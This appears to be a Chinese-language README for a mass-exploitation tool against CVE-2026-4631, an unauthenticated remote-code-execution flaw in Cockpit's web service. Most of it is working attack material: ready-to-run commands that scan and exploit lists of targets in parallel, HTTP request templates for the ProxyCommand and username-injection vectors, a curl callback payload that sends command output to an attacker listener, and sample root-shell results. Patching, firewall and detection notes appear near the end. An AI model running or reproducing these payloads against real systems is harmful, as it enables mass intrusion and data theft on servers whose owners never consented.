通过 SSH 命令行参数注入实现未认证远程代码执行 Cockpit 版本 327 – 359 | CVSS 9.8 严重 | CWE-78
CVE-2026-4631 的批量利用工具,针对 Cockpit Web 服务(cockpit-ws,端口 9090)。支持漏洞扫描模式、通过内置 HTTP 回调监听器捕获命令输出的 RCE 模式、--auto 模式(一次完成扫描 + 利用,默认命令为 id)、为无端口目标自动添加 :9090 端口、两种攻击向量(ProxyCommand + 用户名 %r 注入)、从文件读取批量目标、并发线程以及结构化结果输出。
作者: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
编辑 targets.txt — 每行一个主机。如果未指定端口,会自动添加 :9090:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# 一次完成扫描 + 利用,默认命令 "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# results.txt 中的输出示例:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# 仅扫描漏洞(不进行利用)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# 使用自定义命令进行显式 RCE
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# 单个目标
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 是盲 RCE — 命令输出不会在 HTTP 响应中返回。该工具使用内置 HTTP 监听器(默认端口 8888)来捕获输出。请确保:
--callback-ip 是目标可访问的 IP(不是 127.0.0.1)8888(或自定义 --listener-port)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# 验证版本(必须 >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
编辑 /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
重启服务:
sudo systemctl restart cockpit
将 9090 端口限制为仅管理网络可访问:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
通过早期主机名验证缓解向量 1(ProxyCommand 注入):
ssh -V # 必须是 OpenSSH_9.6 或更新版本
如果无法升级到 360,请应用补丁提交:
beiboot.py 和 cockpitauth.c 中添加 -- 分隔符session.py 中添加 --补丁详情:参见 docs/PATCH_ANALYSIS.md
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| 严重性 | 严重(CVSS 9.8) |
| CWE | CWE-78 — 操作系统命令注入 |
| 受影响版本 | Cockpit 327 – 359 |
| 修复版本 | Cockpit 360+ |
| 是否需要认证 | 否(预认证) |
| 报告者 | Jelle van der Waa |
| 服务 | cockpit-ws,默认端口 9090 |
Cockpit v327 将 cockpit-ssh(libssh)替换为调用系统 OpenSSH ssh 客户端的 python3 -m cockpit.beiboot。用户可控输入 — 来自 URL 路径的主机名和来自 Authorization: Basic 头的用户名 — 被未经清理地传递给 ssh,且没有 -- 选项结束分隔符。注入发生在凭据验证之前,因此无需有效登录。
URL 路径中的主机名被注入 SSH 选项 -oProxyCommand=<cmd>。
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH 将 -oProxyCommand=<cmd> 解析为选项,并执行 <cmd> 作为 ProxyCommand。该命令以 cockpit-ws 用户进程身份运行。
前提条件: 目标上的 OpenSSH < 9.6。OpenSSH 9.6+ 具有早期主机名验证,可阻止元字符。
%r 令牌注入(次要)来自 Authorization: Basic 头的用户名被注入 shell 命令。
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH 在 Match exec 指令中将 %r 展开为用户名 → shell 执行注入的命令。
前提条件: 目标 ssh_config 具有包含 %r 令牌的 Match exec 指令。
LoginTo)未被禁用ssh_config 具有 Match exec %r# 从 GitHub 克隆
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# 安装依赖
pip install -r requirements.txt
# 验证
python3 exploit.py --help
requests>=2.31 — 用于利用请求的 HTTP 客户端colorama>=0.4 — 彩色终端输出监听器无需额外依赖(使用标准库 http.server + threading)。
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (port auto-added jika absent)
-f, --file file containing list of targets (one per line)
--default-port port yang di-append jika target tanpa port (default: 9090)
-c, --cmd command to execute (default: "id" pada mode --auto / RCE)
--scan vulnerability scan mode (no RCE, probe endpoint only)
--auto scan + exploit sekali jalan, command default "id"
--vector exploit vector: auto|proxycommand|username (default: auto)
-o, --output result output file (default: results.txt)
--callback-ip attacker IP reachable from target (for callback listener)
--listener-port callback listener port (default: 8888)
--threads concurrent workers (default: 10)
--timeout seconds to wait for callback per target (default: 10)
--delay delay between requests in seconds (default: 0)
--proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
--user-agent custom User-Agent string
-v, --verbose verbose output (debug)
--no-color disable colored output
--scan)在不进行利用的情况下探测端点 /cockpit+=probe-host/login。检测:
不发送恶意载荷,无需回调监听器。
-c "cmd")在目标上执行命令,通过回调捕获输出:
curl 外传到监听器-c,默认命令为 id--auto)— 推荐一次完成扫描 + 利用,默认命令 id:
id(或 -c 覆盖)进行利用host [ uid=0(root) ... ]--vector auto)首先尝试向量 1(ProxyCommand)。如果响应表明 OpenSSH >= 9.6(主机名验证错误),则回退到向量 2(用户名 %r)。
targets.txt 中每个没有端口的条目都会自动追加 :9090:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# 无端口目标 → 自动 :9090,默认命令 "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# 覆盖命令
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
输出(results.txt):
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
输出(scan_results.txt):
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# 等效于:-t http://target:9090/
输出:
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# 强制使用向量 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# 强制使用向量 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
结果文件格式为每目标一行:
<host> [ <status_or_output> ]
| 状态 | 含义 |
|---|---|
uid=0(root) ... | RCE 成功,命令输出已捕获 |
VULN - no callback received (OpenSSH >= 9.6?) | 目标易受攻击,但向量 1 被 OpenSSH 9.6+ 阻止,请尝试向量 2 |
VULN - endpoint active | 扫描模式,检测到易受攻击的端点 |
NOT VULN | Cockpit >= 360 或端点不存在 |
UNREACHABLE | 连接失败 / 连接超时 |
ERROR: <msg> | 执行期间出现异常 |
结果文件头部记录时间戳、命令、向量和目标数量。
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
CLI --> Engine["core/engine.py<br/>orchestrator"]
Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
Pool --> Scanner["core/scanner.py<br/>vuln probe"]
Pool --> Exploit["core/exploit.py<br/>payload generator"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit target :9090"]
Target -->|"blind RCE<br/>curl callback"| Listener
Listener --> Shared["shared dict<br/>REQID -> output"]
Engine --> Result["utils/result.py<br/>write results.txt"]
Shared --> Engine-f file / -t url,规范化(添加 http://,默认端口 9090),去重--scan 模式,探测端点,识别 Cockpit 指纹,推断漏洞requests 发送利用请求--callback-ip:--listener-port 的 ThreadingHTTPServer,解析 ?id=REQID&out=BASE64,保存到共享字典host [ output ] 格式写入结果文件CVE-2026-4631-cockpit-RCE/
├── exploit.py # CLI 入口点
├── requirements.txt # 依赖
├── README.md # 本文档
├── targets.txt # 示例目标列表
├── results.txt # 输出(生成)
├── core/
│ ├── __init__.py
│ ├── target.py # 目标解析器
│ ├── scanner.py # 漏洞扫描模式
│ ├── exploit.py # 载荷生成器 + 发送器
│ ├── listener.py # HTTP 回调服务器
│ └── engine.py # 编排器
├── utils/
│ ├── __init__.py
│ ├── banner.py # ASCII 横幅
│ └── result.py # 结果写入器
└── docs/
├── VULN_ANALYSIS.md # 漏洞深入分析
├── PATCH_ANALYSIS.md # 补丁提交分析
└── DETECTION.md # 检测签名
CVE-2026-4631 是盲 RCE — 命令输出不会在 Cockpit 的 HTTP 响应中返回。该工具通过内置 HTTP 回调监听器解决此问题:
--callback-ip:--listener-portbash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
Authorization: Basic base64("x:x")
requests.get,verify=False 用于自签名证书results[REQID] 直到 --timeouthost [ decoded_output ] 写入输出文件如果超时未收到回调,请检查 SSH 错误响应:
VULN - no callback (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads) 每个目标并行dict[REQID] -> target_host + dict[REQID] -> output,使用 threading.LockThreadingHTTPServer 处理并发回调try/except:连接错误、SSL 错误、超时GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
注意:
-oProxyCommand=Authorization: Basic 值中的分号(;)journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# 受影响版本:327 <= version <= 359
该工具用于对您拥有或拥有书面测试授权的系统进行授权渗透测试、安全研究和漏洞验证。
在未经所有者明确许可的情况下将此工具用于系统是违法的,并可能根据适用法律受到刑事处罚(在印度尼西亚:UU ITE 第 30-33 条)。
作者不对滥用此工具的行为负责。请以合乎道德且负责任的方式使用。
授权使用场景:
仅供研究和授权测试使用。未经许可不得用于商业分发。